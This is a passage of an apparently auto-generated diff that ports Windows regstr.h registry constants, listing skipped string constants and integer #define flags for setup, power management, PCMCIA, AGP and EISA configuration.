REGSTR_VAL_RESOURCE_PICKER_TAGS: non-integer constant +// SKIPPED const REGSTR_VAL_RESOURCE_PICKER_EXCEPTIONS: non-integer constant +// SKIPPED const REGSTR_VAL_CUSTOM_PROPERTY_CACHE_DATE: non-integer constant +// SKIPPED const REGSTR_VAL_CUSTOM_PROPERTY_HW_ID_KEY: non-integer constant +// SKIPPED const REGSTR_VAL_LAST_UPDATE_TIME: non-integer constant +// SKIPPED const REGSTR_VAL_CONTAINERID: non-integer constant +// SKIPPED const REGSTR_VAL_EJECT_PRIORITY: non-integer constant +// SKIPPED const REGSTR_KEY_CONTROL: non-integer constant +// SKIPPED const REGSTR_VAL_ACTIVESERVICE: non-integer constant +// SKIPPED const REGSTR_VAL_LINKED: non-integer constant +// SKIPPED const REGSTR_VAL_PHYSICALDEVICEOBJECT: non-integer constant +// SKIPPED const REGSTR_VAL_REMOVAL_POLICY: non-integer constant +// SKIPPED const REGSTR_KEY_FILTERS: non-integer constant +// SKIPPED const REGSTR_VAL_LOWER_FILTER_DEFAULT_LEVEL: non-integer constant +// SKIPPED const REGSTR_VAL_UPPER_FILTER_DEFAULT_LEVEL: non-integer constant +// SKIPPED const REGSTR_KEY_LOWER_FILTER_LEVEL_DEFAULT: non-integer constant +// SKIPPED const REGSTR_KEY_UPPER_FILTER_LEVEL_DEFAULT: non-integer constant +// SKIPPED const REGSTR_VAL_LOWER_FILTER_LEVELS: non-integer constant +// SKIPPED const REGSTR_VAL_UPPER_FILTER_LEVELS: non-integer constant +// SKIPPED const REGSTR_VAL_CURRENT_VERSION: non-integer constant +// SKIPPED const REGSTR_VAL_CURRENT_BUILD: non-integer constant +// SKIPPED const REGSTR_VAL_CURRENT_CSDVERSION: non-integer constant +// SKIPPED const REGSTR_VAL_CURRENT_TYPE: non-integer constant +// SKIPPED const REGSTR_VAL_BITSPERPIXEL: non-integer constant +// SKIPPED const REGSTR_VAL_RESOLUTION: non-integer constant +// SKIPPED const REGSTR_VAL_DPILOGICALX: non-integer constant +// SKIPPED const REGSTR_VAL_DPILOGICALY: non-integer constant +// SKIPPED const REGSTR_VAL_DPIPHYSICALX: non-integer constant +// SKIPPED const REGSTR_VAL_DPIPHYSICALY: non-integer constant +// SKIPPED const REGSTR_VAL_REFRESHRATE: non-integer constant +// SKIPPED const REGSTR_VAL_DISPLAYFLAGS: non-integer constant +// SKIPPED const REGSTR_PATH_CONTROLPANEL: non-integer constant +// SKIPPED const REGSTR_PATH_CONTROLSFOLDER: non-integer constant +// SKIPPED const REGSTR_VAL_DOSCP: non-integer constant +// SKIPPED const REGSTR_VAL_WINCP: non-integer constant +// SKIPPED const REGSTR_VAL_DONTUSEMEM: non-integer constant +// SKIPPED const REGSTR_VAL_SYSTEMROOT: non-integer constant +// SKIPPED const REGSTR_VAL_BOOTCOUNT: non-integer constant +// SKIPPED const REGSTR_VAL_REALNETSTART: non-integer constant +// SKIPPED const REGSTR_VAL_MEDIA: non-integer constant +// SKIPPED const REGSTR_VAL_CONFIG: non-integer constant +// SKIPPED const REGSTR_VAL_DEVICEPATH: non-integer constant +// SKIPPED const REGSTR_VAL_SRCPATH: non-integer constant +// SKIPPED const REGSTR_VAL_DRIVERCACHEPATH: non-integer constant +// SKIPPED const REGSTR_VAL_OLDWINDIR: non-integer constant +// SKIPPED const REGSTR_VAL_SETUPFLAGS: non-integer constant +// SKIPPED const REGSTR_VAL_REGOWNER: non-integer constant +// SKIPPED const REGSTR_VAL_REGORGANIZATION: non-integer constant +// SKIPPED const REGSTR_VAL_LICENSINGINFO: non-integer constant +// SKIPPED const REGSTR_VAL_OLDMSDOSVER: non-integer constant +// SKIPPED const REGSTR_VAL_FIRSTINSTALLDATETIME: non-integer constant +// SKIPPED const REGSTR_VAL_INSTALLTYPE: non-integer constant +#define IT_COMPACT 0x0 +#define IT_TYPICAL 0x1 +#define IT_PORTABLE 0x2 +#define IT_CUSTOM 0x3 +// SKIPPED const REGSTR_VAL_WRAPPER: non-integer constant +// SKIPPED const REGSTR_KEY_RUNHISTORY: non-integer constant +// SKIPPED const REGSTR_VAL_LASTALIVEINTERVAL: non-integer constant +// SKIPPED const REGSTR_VAL_DIRTYSHUTDOWN: non-integer constant +// SKIPPED const REGSTR_VAL_DIRTYSHUTDOWNTIME: non-integer constant +// SKIPPED const REGSTR_VAL_BT: non-integer constant +// SKIPPED const REGSTR_VAL_LASTCOMPUTERNAME: non-integer constant +// SKIPPED const REGSTR_VAL_LASTALIVEBT: non-integer constant +// SKIPPED const REGSTR_VAL_LASTALIVESTAMP: non-integer constant +// SKIPPED const REGSTR_VAL_LASTALIVESTAMPFORCED: non-integer constant +// SKIPPED const REGSTR_VAL_LASTALIVESTAMPINTERVAL: non-integer constant +// SKIPPED const REGSTR_VAL_LASTALIVESTAMPPOLICYINTERVAL: non-integer constant +// SKIPPED const REGSTR_VAL_LASTALIVEUPTIME: non-integer constant +// SKIPPED const REGSTR_VAL_LASTALIVEPMPOLICY: non-integer constant +// SKIPPED const REGSTR_VAL_REASONCODE: non-integer constant +// SKIPPED const REGSTR_VAL_COMMENT: non-integer constant +// SKIPPED const REGSTR_VAL_SHUTDOWNREASON: non-integer constant +// SKIPPED const REGSTR_VAL_SHUTDOWNREASON_CODE: non-integer constant +// SKIPPED const REGSTR_VAL_SHUTDOWNREASON_COMMENT: non-integer constant +// SKIPPED const REGSTR_VAL_SHUTDOWNREASON_PROCESS: non-integer constant +// SKIPPED const REGSTR_VAL_SHUTDOWNREASON_USERNAME: non-integer constant +// SKIPPED const REGSTR_VAL_SHOWREASONUI: non-integer constant +// SKIPPED const REGSTR_VAL_SHUTDOWN_IGNORE_PREDEFINED: non-integer constant +// SKIPPED const REGSTR_VAL_SHUTDOWN_STATE_SNAPSHOT: non-integer constant +// SKIPPED const REGSTR_KEY_SETUP: non-integer constant +// SKIPPED const REGSTR_VAL_BOOTDIR: non-integer constant +// SKIPPED const REGSTR_VAL_WINBOOTDIR: non-integer constant +// SKIPPED const REGSTR_VAL_WINDIR: non-integer constant +// SKIPPED const REGSTR_VAL_APPINSTPATH: non-integer constant +// SKIPPED const REGSTR_KEY_EBDFILESLOCAL: non-integer constant +// SKIPPED const REGSTR_KEY_EBDFILESKEYBOARD: non-integer constant +// SKIPPED const REGSTR_KEY_EBDAUTOEXECBATLOCAL: non-integer constant +// SKIPPED const REGSTR_KEY_EBDAUTOEXECBATKEYBOARD: non-integer constant +// SKIPPED const REGSTR_KEY_EBDCONFIGSYSLOCAL: non-integer constant +// SKIPPED const REGSTR_KEY_EBDCONFIGSYSKEYBOARD: non-integer constant +// SKIPPED const REGSTR_VAL_POLICY: non-integer constant +// SKIPPED const REGSTR_VAL_BEHAVIOR_ON_FAILED_VERIFY: non-integer constant +#define DRIVERSIGN_NONE 0x0 +#define DRIVERSIGN_WARNING 0x1 +#define DRIVERSIGN_BLOCKING 0x2 +// SKIPPED const REGSTR_VAL_MSDOSMODE: non-integer constant +// SKIPPED const REGSTR_VAL_MSDOSMODEDISCARD: non-integer constant +// SKIPPED const REGSTR_VAL_DOSOPTGLOBALFLAGS: non-integer constant +#define DOSOPTGF_DEFCLEAN 1 +// SKIPPED const REGSTR_VAL_DOSOPTFLAGS: non-integer constant +// SKIPPED const REGSTR_VAL_OPTORDER: non-integer constant +// SKIPPED const REGSTR_VAL_CONFIGSYS: non-integer constant +// SKIPPED const REGSTR_VAL_AUTOEXEC: non-integer constant +// SKIPPED const REGSTR_VAL_STDDOSOPTION: non-integer constant +// SKIPPED const REGSTR_VAL_DOSOPTTIP: non-integer constant +#define DOSOPTF_DEFAULT 1 +#define DOSOPTF_SUPPORTED 2 +#define DOSOPTF_ALWAYSUSE 4 +#define DOSOPTF_USESPMODE 8 +#define DOSOPTF_PROVIDESUMB 16 +#define DOSOPTF_NEEDSETUP 32 +#define DOSOPTF_INDOSSTART 64 +#define DOSOPTF_MULTIPLE 128 +#define SUF_FIRSTTIME 1 +#define SUF_EXPRESS 2 +#define SUF_BATCHINF 4 +#define SUF_CLEAN 8 +#define SUF_INSETUP 16 +#define SUF_NETSETUP 32 +#define SUF_NETHDBOOT 64 +#define SUF_NETRPLBOOT 128 +#define SUF_SBSCOPYOK 256 +// SKIPPED const REGSTR_VAL_DOSPAGER: non-integer constant +// SKIPPED const REGSTR_VAL_VXDGROUPS: non-integer constant +// SKIPPED const REGSTR_VAL_VPOWERDFLAGS: non-integer constant +#define VPDF_DISABLEPWRMGMT 0x1 +#define VPDF_FORCEAPM10MODE 0x2 +#define VPDF_SKIPINTELSLCHECK 0x4 +#define VPDF_DISABLEPWRSTATUSPOLL 0x8 +#define VPDF_DISABLERINGRESUME 0x10 +#define VPDF_SHOWMULTIBATT 0x20 +#define BIF_SHOWSIMILARDRIVERS 0x1 +#define BIF_RAWDEVICENEEDSDRIVER 0x2 +// SKIPPED const REGSTR_VAL_WORKGROUP: non-integer constant +// SKIPPED const REGSTR_VAL_DIRECTHOST: non-integer constant +// SKIPPED const REGSTR_VAL_FILESHARING: non-integer constant +// SKIPPED const REGSTR_VAL_PRINTSHARING: non-integer constant +// SKIPPED const REGSTR_VAL_FIRSTNETDRIVE: non-integer constant +// SKIPPED const REGSTR_VAL_MAXCONNECTIONS: non-integer constant +// SKIPPED const REGSTR_VAL_APISUPPORT: non-integer constant +// SKIPPED const REGSTR_VAL_MAXRETRY: non-integer constant +// SKIPPED const REGSTR_VAL_MINRETRY: non-integer constant +// SKIPPED const REGSTR_VAL_SUPPORTLFN: non-integer constant +// SKIPPED const REGSTR_VAL_SUPPORTBURST: non-integer constant +// SKIPPED const REGSTR_VAL_SUPPORTTUNNELLING: non-integer constant +// SKIPPED const REGSTR_VAL_FULLTRACE: non-integer constant +// SKIPPED const REGSTR_VAL_READCACHING: non-integer constant +// SKIPPED const REGSTR_VAL_SHOWDOTS: non-integer constant +// SKIPPED const REGSTR_VAL_GAPTIME: non-integer constant +// SKIPPED const REGSTR_VAL_SEARCHMODE: non-integer constant +// SKIPPED const REGSTR_VAL_SHELLVERSION: non-integer constant +// SKIPPED const REGSTR_VAL_MAXLIP: non-integer constant +// SKIPPED const REGSTR_VAL_PRESERVECASE: non-integer constant +// SKIPPED const REGSTR_VAL_OPTIMIZESFN: non-integer constant +// SKIPPED const REGSTR_VAL_NCP_BROWSEMASTER: non-integer constant +// SKIPPED const REGSTR_VAL_NCP_USEPEERBROWSING: non-integer constant +// SKIPPED const REGSTR_VAL_NCP_USESAP: non-integer constant +// SKIPPED const REGSTR_VAL_PCCARD_POWER: non-integer constant +// SKIPPED const REGSTR_VAL_WIN31FILESYSTEM: non-integer constant +// SKIPPED const REGSTR_VAL_PRESERVELONGNAMES: non-integer constant +// SKIPPED const REGSTR_VAL_DRIVEWRITEBEHIND: non-integer constant +// SKIPPED const REGSTR_VAL_ASYNCFILECOMMIT: non-integer constant +// SKIPPED const REGSTR_VAL_PATHCACHECOUNT: non-integer constant +// SKIPPED const REGSTR_VAL_NAMECACHECOUNT: non-integer constant +// SKIPPED const REGSTR_VAL_CONTIGFILEALLOC: non-integer constant +// SKIPPED const REGSTR_VAL_FREESPACERATIO: non-integer constant +// SKIPPED const REGSTR_VAL_VOLIDLETIMEOUT: non-integer constant +// SKIPPED const REGSTR_VAL_BUFFIDLETIMEOUT: non-integer constant +// SKIPPED const REGSTR_VAL_BUFFAGETIMEOUT: non-integer constant +// SKIPPED const REGSTR_VAL_NAMENUMERICTAIL: non-integer constant +// SKIPPED const REGSTR_VAL_READAHEADTHRESHOLD: non-integer constant +// SKIPPED const REGSTR_VAL_DOUBLEBUFFER: non-integer constant +// SKIPPED const REGSTR_VAL_SOFTCOMPATMODE: non-integer constant +// SKIPPED const REGSTR_VAL_DRIVESPINDOWN: non-integer constant +// SKIPPED const REGSTR_VAL_FORCEPMIO: non-integer constant +// SKIPPED const REGSTR_VAL_FORCERMIO: non-integer constant +// SKIPPED const REGSTR_VAL_LASTBOOTPMDRVS: non-integer constant +// SKIPPED const REGSTR_VAL_ACSPINDOWNPREVIOUS: non-integer constant +// SKIPPED const REGSTR_VAL_BATSPINDOWNPREVIOUS: non-integer constant +// SKIPPED const REGSTR_VAL_VIRTUALHDIRQ: non-integer constant +// SKIPPED const REGSTR_VAL_SRVNAMECACHECOUNT: non-integer constant +// SKIPPED const REGSTR_VAL_SRVNAMECACHE: non-integer constant +// SKIPPED const REGSTR_VAL_SRVNAMECACHENETPROV: non-integer constant +// SKIPPED const REGSTR_VAL_AUTOMOUNT: non-integer constant +// SKIPPED const REGSTR_VAL_COMPRESSIONMETHOD: non-integer constant +// SKIPPED const REGSTR_VAL_COMPRESSIONTHRESHOLD: non-integer constant +// SKIPPED const REGSTR_VAL_ACDRIVESPINDOWN: non-integer constant +// SKIPPED const REGSTR_VAL_BATDRIVESPINDOWN: non-integer constant +// SKIPPED const REGSTR_VAL_CDCACHESIZE: non-integer constant +// SKIPPED const REGSTR_VAL_CDPREFETCH: non-integer constant +// SKIPPED const REGSTR_VAL_CDPREFETCHTAIL: non-integer constant +// SKIPPED const REGSTR_VAL_CDRAWCACHE: non-integer constant +// SKIPPED const REGSTR_VAL_CDEXTERRORS: non-integer constant +// SKIPPED const REGSTR_VAL_CDSVDSENSE: non-integer constant +// SKIPPED const REGSTR_VAL_CDSHOWVERSIONS: non-integer constant +// SKIPPED const REGSTR_VAL_CDCOMPATNAMES: non-integer constant +// SKIPPED const REGSTR_VAL_CDNOREADAHEAD: non-integer constant +// SKIPPED const REGSTR_VAL_SCSI: non-integer constant +// SKIPPED const REGSTR_VAL_ESDI: non-integer constant +// SKIPPED const REGSTR_VAL_FLOP: non-integer constant +// SKIPPED const REGSTR_VAL_DISK: non-integer constant +// SKIPPED const REGSTR_VAL_CDROM: non-integer constant +// SKIPPED const REGSTR_VAL_TAPE: non-integer constant +// SKIPPED const REGSTR_VAL_SCANNER: non-integer constant +// SKIPPED const REGSTR_VAL_FLOPPY: non-integer constant +// SKIPPED const REGSTR_VAL_SCSITID: non-integer constant +// SKIPPED const REGSTR_VAL_SCSILUN: non-integer constant +// SKIPPED const REGSTR_VAL_REVLEVEL: non-integer constant +// SKIPPED const REGSTR_VAL_PRODUCTID: non-integer constant +// SKIPPED const REGSTR_VAL_PRODUCTTYPE: non-integer constant +// SKIPPED const REGSTR_VAL_DEVTYPE: non-integer constant +// SKIPPED const REGSTR_VAL_REMOVABLE: non-integer constant +// SKIPPED const REGSTR_VAL_CURDRVLET: non-integer constant +// SKIPPED const REGSTR_VAL_USRDRVLET: non-integer constant +// SKIPPED const REGSTR_VAL_SYNCDATAXFER: non-integer constant +// SKIPPED const REGSTR_VAL_AUTOINSNOTE: non-integer constant +// SKIPPED const REGSTR_VAL_DISCONNECT: non-integer constant +// SKIPPED const REGSTR_VAL_INT13: non-integer constant +// SKIPPED const REGSTR_VAL_PMODE_INT13: non-integer constant +// SKIPPED const REGSTR_VAL_USERSETTINGS: non-integer constant +// SKIPPED const REGSTR_VAL_NOIDE: non-integer constant +// SKIPPED const REGSTR_VAL_DISKCLASSNAME: non-integer constant +// SKIPPED const REGSTR_VAL_CDROMCLASSNAME: non-integer constant +// SKIPPED const REGSTR_VAL_FORCELOAD: non-integer constant +// SKIPPED const REGSTR_VAL_FORCEFIFO: non-integer constant +// SKIPPED const REGSTR_VAL_FORCECL: non-integer constant +// SKIPPED const REGSTR_VAL_NOUSECLASS: non-integer constant +// SKIPPED const REGSTR_VAL_NOINSTALLCLASS: non-integer constant +// SKIPPED const REGSTR_VAL_NODISPLAYCLASS: non-integer constant +// SKIPPED const REGSTR_VAL_SILENTINSTALL: non-integer constant +// SKIPPED const REGSTR_VAL_FSFILTERCLASS: non-integer constant +// SKIPPED const REGSTR_KEY_PCMCIA_CLASS: non-integer constant +// SKIPPED const REGSTR_KEY_SCSI_CLASS: non-integer constant +// SKIPPED const REGSTR_KEY_PORTS_CLASS: non-integer constant +// SKIPPED const REGSTR_KEY_MEDIA_CLASS: non-integer constant +// SKIPPED const REGSTR_KEY_DISPLAY_CLASS: non-integer constant +// SKIPPED const REGSTR_KEY_KEYBOARD_CLASS: non-integer constant +// SKIPPED const REGSTR_KEY_MOUSE_CLASS: non-integer constant +// SKIPPED const REGSTR_KEY_MONITOR_CLASS: non-integer constant +// SKIPPED const REGSTR_KEY_MODEM_CLASS: non-integer constant +// SKIPPED const REGSTR_VAL_PCMCIA_OPT: non-integer constant +#define PCMCIA_OPT_HAVE_SOCKET 1 +#define PCMCIA_OPT_AUTOMEM 4 +#define PCMCIA_OPT_NO_SOUND 8 +#define PCMCIA_OPT_NO_AUDIO 16 +#define PCMCIA_OPT_NO_APMREMOVE 32 +// SKIPPED const REGSTR_VAL_PCMCIA_MEM: non-integer constant +#define PCMCIA_DEF_MEMBEGIN 0xc0000 +#define PCMCIA_DEF_MEMEND 0xffffff +#define PCMCIA_DEF_MEMLEN 0x1000 +// SKIPPED const REGSTR_VAL_PCMCIA_ALLOC: non-integer constant +// SKIPPED const REGSTR_VAL_PCMCIA_ATAD: non-integer constant +// SKIPPED const REGSTR_VAL_PCMCIA_SIZ: non-integer constant +#define PCMCIA_DEF_MIN_REGION 0x10000 +// SKIPPED const REGSTR_VAL_P1284MDL: non-integer constant +// SKIPPED const REGSTR_VAL_P1284MFG: non-integer constant +// SKIPPED const REGSTR_VAL_ISAPNP: non-integer constant +// SKIPPED const REGSTR_VAL_ISAPNP_RDP_OVERRIDE: non-integer constant +// SKIPPED const REGSTR_VAL_PCI: non-integer constant +// SKIPPED const REGSTR_PCI_OPTIONS: non-integer constant +// SKIPPED const REGSTR_PCI_DUAL_IDE: non-integer constant +#define PCI_OPTIONS_USE_BIOS 1 +#define PCI_OPTIONS_USE_IRQ_STEERING 2 +#define AGP_FLAG_NO_1X_RATE 1 +#define AGP_FLAG_NO_2X_RATE 2 +#define AGP_FLAG_NO_4X_RATE 4 +#define AGP_FLAG_NO_8X_RATE 8 +#define AGP_FLAG_REVERSE_INITIALIZATION 128 +#define AGP_FLAG_NO_SBA_ENABLE 256 +#define AGP_FLAG_NO_FW_ENABLE 512 +#define AGP_FLAG_SPECIAL_TARGET 1048575 +#define AGP_FLAG_SPECIAL_RESERVE 1015808 +// SKIPPED const REGSTR_KEY_CRASHES: non-integer constant +// SKIPPED const REGSTR_KEY_DANGERS: non-integer constant +// SKIPPED const REGSTR_KEY_DETMODVARS: non-integer constant +// SKIPPED const REGSTR_KEY_NDISINFO: non-integer constant +// SKIPPED const REGSTR_VAL_PROTINIPATH: non-integer constant +// SKIPPED const REGSTR_VAL_RESOURCES: non-integer constant +// SKIPPED const REGSTR_VAL_CRASHFUNCS: non-integer constant +// SKIPPED const REGSTR_VAL_CLASS: non-integer constant +// SKIPPED const REGSTR_VAL_CLASSDESC: non-integer constant +// SKIPPED const REGSTR_VAL_DEVDESC: non-integer constant +// SKIPPED const REGSTR_VAL_BOOTCONFIG: non-integer constant +// SKIPPED const REGSTR_VAL_DETFUNC: non-integer constant +// SKIPPED const REGSTR_VAL_DETFLAGS: non-integer constant +// SKIPPED const REGSTR_VAL_COMPATIBLEIDS: non-integer constant +// SKIPPED const REGSTR_VAL_DETCONFIG: non-integer constant +// SKIPPED const REGSTR_VAL_VERIFYKEY: non-integer constant +// SKIPPED const REGSTR_VAL_COMINFO: non-integer constant +// SKIPPED const REGSTR_VAL_INFNAME: non-integer constant +// SKIPPED const REGSTR_VAL_CARDSPECIFIC: non-integer constant +// SKIPPED const REGSTR_VAL_NETOSTYPE: non-integer constant +// SKIPPED const REGSTR_DATA_NETOS_NDIS: non-integer constant +// SKIPPED const REGSTR_DATA_NETOS_ODI: non-integer constant +// SKIPPED const REGSTR_DATA_NETOS_IPX: non-integer constant +// SKIPPED const REGSTR_VAL_MFG: non-integer constant +// SKIPPED const REGSTR_VAL_SCAN_ONLY_FIRST: non-integer constant +// SKIPPED const REGSTR_VAL_SHARE_IRQ: non-integer constant +// SKIPPED const REGSTR_VAL_NONSTANDARD_ATAPI: non-integer constant +// SKIPPED const REGSTR_VAL_IDE_FORCE_SERIALIZE: non-integer constant +#define REGSTR_VAL_MAX_HCID_LEN 0x400 +// SKIPPED const REGSTR_VAL_HWREV: non-integer constant +// SKIPPED const REGSTR_VAL_ENABLEINTS: non-integer constant +#define REGDF_NOTDETIO 0x1 +#define REGDF_NOTDETMEM 0x2 +#define REGDF_NOTDETIRQ 0x4 +#define REGDF_NOTDETDMA 0x8 +#define REGDF_NEEDFULLCONFIG 0x10 +#define REGDF_GENFORCEDCONFIG 0x20 +#define REGDF_NODETCONFIG 0x8000 +#define REGDF_CONFLICTIO 0x10000 +#define REGDF_CONFLICTMEM 0x20000 +#define REGDF_CONFLICTIRQ 0x40000 +#define REGDF_CONFLICTDMA 0x80000 +#define REGDF_MAPIRQ2TO9 0x100000 +#define REGDF_NOTVERIFIED 0x80000000 +// SKIPPED const REGSTR_VAL_APMBIOSVER: non-integer constant +// SKIPPED const REGSTR_VAL_APMFLAGS: non-integer constant +// SKIPPED const REGSTR_VAL_SLSUPPORT: non-integer constant +// SKIPPED const REGSTR_VAL_MACHINETYPE: non-integer constant +// SKIPPED const REGSTR_VAL_SETUPMACHINETYPE: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_UNKNOWN: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPC: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPCJR: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPCCONV: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPCXT: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPCXT_286: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPCAT: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_25: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_30_286: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_30: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_50: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_50Z: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_55SX: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_60: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_65SX: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_70: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_P70: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_70_80: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_80: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_90: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS1: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_PHOENIX_PCAT: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_HP_VECTRA: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_ATT_PC: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_ZENITH_PC: non-integer constant +// SKIPPED const REGSTR_VAL_APMMENUSUSPEND: non-integer constant +#define APMMENUSUSPEND_DISABLED 0x0 +#define APMMENUSUSPEND_ENABLED 0x1 +#define APMMENUSUSPEND_UNDOCKED 0x2 +#define APMMENUSUSPEND_NOCHANGE 0x80 +// SKIPPED const REGSTR_VAL_APMACTIMEOUT: non-integer constant +// SKIPPED const REGSTR_VAL_APMBATTIMEOUT: non-integer constant +#define APMTIMEOUT_DISABLED 0x0 +// SKIPPED const REGSTR_VAL_APMSHUTDOWNPOWER: non-integer constant +// SKIPPED const REGSTR_VAL_BUSTYPE: non-integer constant +// SKIPPED const REGSTR_VAL_CPU: non-integer constant +// SKIPPED const REGSTR_VAL_NDP: non-integer constant +// SKIPPED const REGSTR_VAL_PNPBIOSVER: non-integer constant +// SKIPPED const REGSTR_VAL_PNPSTRUCOFFSET: non-integer constant +// SKIPPED const REGSTR_VAL_PCIBIOSVER: non-integer constant +// SKIPPED const REGSTR_VAL_HWMECHANISM: non-integer constant +// SKIPPED const REGSTR_VAL_LASTPCIBUSNUM: non-integer constant +// SKIPPED const REGSTR_VAL_CONVMEM: non-integer constant +// SKIPPED const REGSTR_VAL_EXTMEM: non-integer constant +// SKIPPED const REGSTR_VAL_COMPUTERNAME: non-integer constant +// SKIPPED const REGSTR_VAL_BIOSNAME: non-integer constant +// SKIPPED const REGSTR_VAL_BIOSVERSION: non-integer constant +// SKIPPED const REGSTR_VAL_BIOSDATE: non-integer constant +// SKIPPED const REGSTR_VAL_MODEL: non-integer constant +// SKIPPED const REGSTR_VAL_SUBMODEL: non-integer constant +// SKIPPED const REGSTR_VAL_REVISION: non-integer constant +// SKIPPED const REGSTR_VAL_FIFODEPTH: non-integer constant +// SKIPPED const REGSTR_VAL_RDINTTHRESHOLD: non-integer constant +// SKIPPED const REGSTR_VAL_WRINTTHRESHOLD: non-integer constant +// SKIPPED const REGSTR_VAL_PRIORITY: non-integer constant +// SKIPPED const REGSTR_VAL_DRIVER: non-integer constant +// SKIPPED const REGSTR_VAL_FUNCDESC: non-integer constant +// SKIPPED const REGSTR_VAL_FORCEDCONFIG: non-integer constant +// SKIPPED const REGSTR_VAL_CONFIGFLAGS: non-integer constant +// SKIPPED const REGSTR_VAL_CSCONFIGFLAGS: non-integer constant +#define CSCONFIGFLAG_BITS 0x7 +#define CSCONFIGFLAG_DISABLED 0x1 +#define CSCONFIGFLAG_DO_NOT_CREATE 0x2 +#define CSCONFIGFLAG_DO_NOT_START 0x4 +#define DMSTATEFLAG_APPLYTOALL 0x1 +// SKIPPED const REGSTR_VAL_ROOT_DEVNODE: non-integer constant +// SKIPPED const REGSTR_VAL_RESERVED_DEVNODE: non-integer constant +// SKIPPED const REGSTR_PATH_MULTI_FUNCTION: non-integer constant +// SKIPPED const REGSTR_VAL_RESOURCE_MAP: non-integer constant +// SKIPPED const REGSTR_PATH_CHILD_PREFIX: non-integer constant +#define NUM_RESOURCE_MAP 0x100 +// SKIPPED const REGSTR_VAL_MF_FLAGS: non-integer constant +#define MF_FLAGS_EVEN_IF_NO_RESOURCE 0x1 +#define MF_FLAGS_NO_CREATE_IF_NO_RESOURCE 0x2 +#define MF_FLAGS_FILL_IN_UNKNOWN_RESOURCE 0x4 +#define MF_FLAGS_CREATE_BUT_NO_SHOW_DISABLED 0x8 +// SKIPPED const REGSTR_VAL_EISA_RANGES: non-integer constant +// SKIPPED const REGSTR_VAL_EISA_FUNCTIONS: non-integer constant +// SKIPPED const REGSTR_VAL_EISA_FUNCTIONS_MASK: non-integer constant +// SKIPPED const REGSTR_VAL_EISA_FLAGS: non-integer constant +// SKIPPED const REGSTR_VAL_EISA_SIMULATE_INT15: non-integer constant +#define EISAFLAG_NO_IO_MERGE 0x1 +#define EISAFLAG_SLOT_IO_FIRST 0x2 +#define EISA_NO_MAX_FUNCTION 0xff +#define NUM_EISA_RANGES 0x4 +// SKIPPED const REGSTR_VAL_DRVDESC: non-integer constant +// SKIPPED const REGSTR_VAL_DEVLOADER: non-integer constant +// SKIPPED const REGSTR_VAL_STATICVXD: non-integer constant +// SKIPPED const REGSTR_VAL_PROPERTIES: non-integer constant +// SKIPPED const REGSTR_VAL_MANUFACTURER: non-integer constant +// SKIPPED const REGSTR_VAL_EXISTS: non-integer constant +// SKIPPED const REGSTR_VAL_CMENUMFLAGS: non-integer constant +// SKIPPED const REGSTR_VAL_CMDRIVFLAGS: non-integer constant +// SKIPPED const REGSTR_VAL_ENUMERATOR: non-integer constant +// SKIPPED const REGSTR_VAL_DEVICEDRIVER: non-integer constant +// SKIPPED const REGSTR_VAL_PORTNAME: non-integer constant +// SKIPPED const REGSTR_VAL_INFPATH: non-integer constant +// SKIPPED const REGSTR_VAL_INFSECTION: non-integer constant +// SKIPPED const REGSTR_VAL_INFSECTIONEXT: non-integer constant +// SKIPPED const REGSTR_VAL_POLLING: non-integer constant +// SKIPPED const REGSTR_VAL_DONTLOADIFCONFLICT: non-integer constant +// SKIPPED const REGSTR_VAL_PORTSUBCLASS: non-integer constant +// SKIPPED const REGSTR_VAL_NETCLEAN: non-integer constant +// SKIPPED const REGSTR_VAL_IDE_NO_SERIALIZE: non-integer constant +// SKIPPED const REGSTR_VAL_NOCMOSORFDPT: non-integer constant +// SKIPPED const REGSTR_VAL_COMVERIFYBASE: non-integer constant +// SKIPPED const REGSTR_VAL_MATCHINGDEVID: non-integer constant +// SKIPPED const REGSTR_VAL_DRIVERDATE: non-integer constant +// SKIPPED const REGSTR_VAL_DRIVERDATEDATA: non-integer constant +// SKIPPED const REGSTR_VAL_DRIVERVERSION: non-integer constant +// SKIPPED const REGSTR_VAL_LOCATION_INFORMATION_OVERRIDE: non-integer constant +// SKIPPED const REGSTR_KEY_OVERRIDE: non-integer constant +// SKIPPED const REGSTR_VAL_CONFIGMG: non-integer constant +// SKIPPED const REGSTR_VAL_SYSDM: non-integer constant +// SKIPPED const REGSTR_VAL_SYSDMFUNC: non-integer constant +// SKIPPED const REGSTR_VAL_PRIVATE: non-integer constant +// SKIPPED const REGSTR_VAL_PRIVATEFUNC: non-integer constant +// SKIPPED const REGSTR_VAL_DETECT: non-integer constant +// SKIPPED const REGSTR_VAL_DETECTFUNC: non-integer constant +// SKIPPED const REGSTR_VAL_ASKFORCONFIG: non-integer constant +// SKIPPED const REGSTR_VAL_ASKFORCONFIGFUNC: non-integer constant +// SKIPPED const REGSTR_VAL_WAITFORUNDOCK: non-integer constant +// SKIPPED const REGSTR_VAL_WAITFORUNDOCKFUNC: non-integer constant +// SKIPPED const REGSTR_VAL_REMOVEROMOKAY: non-integer constant +// SKIPPED const 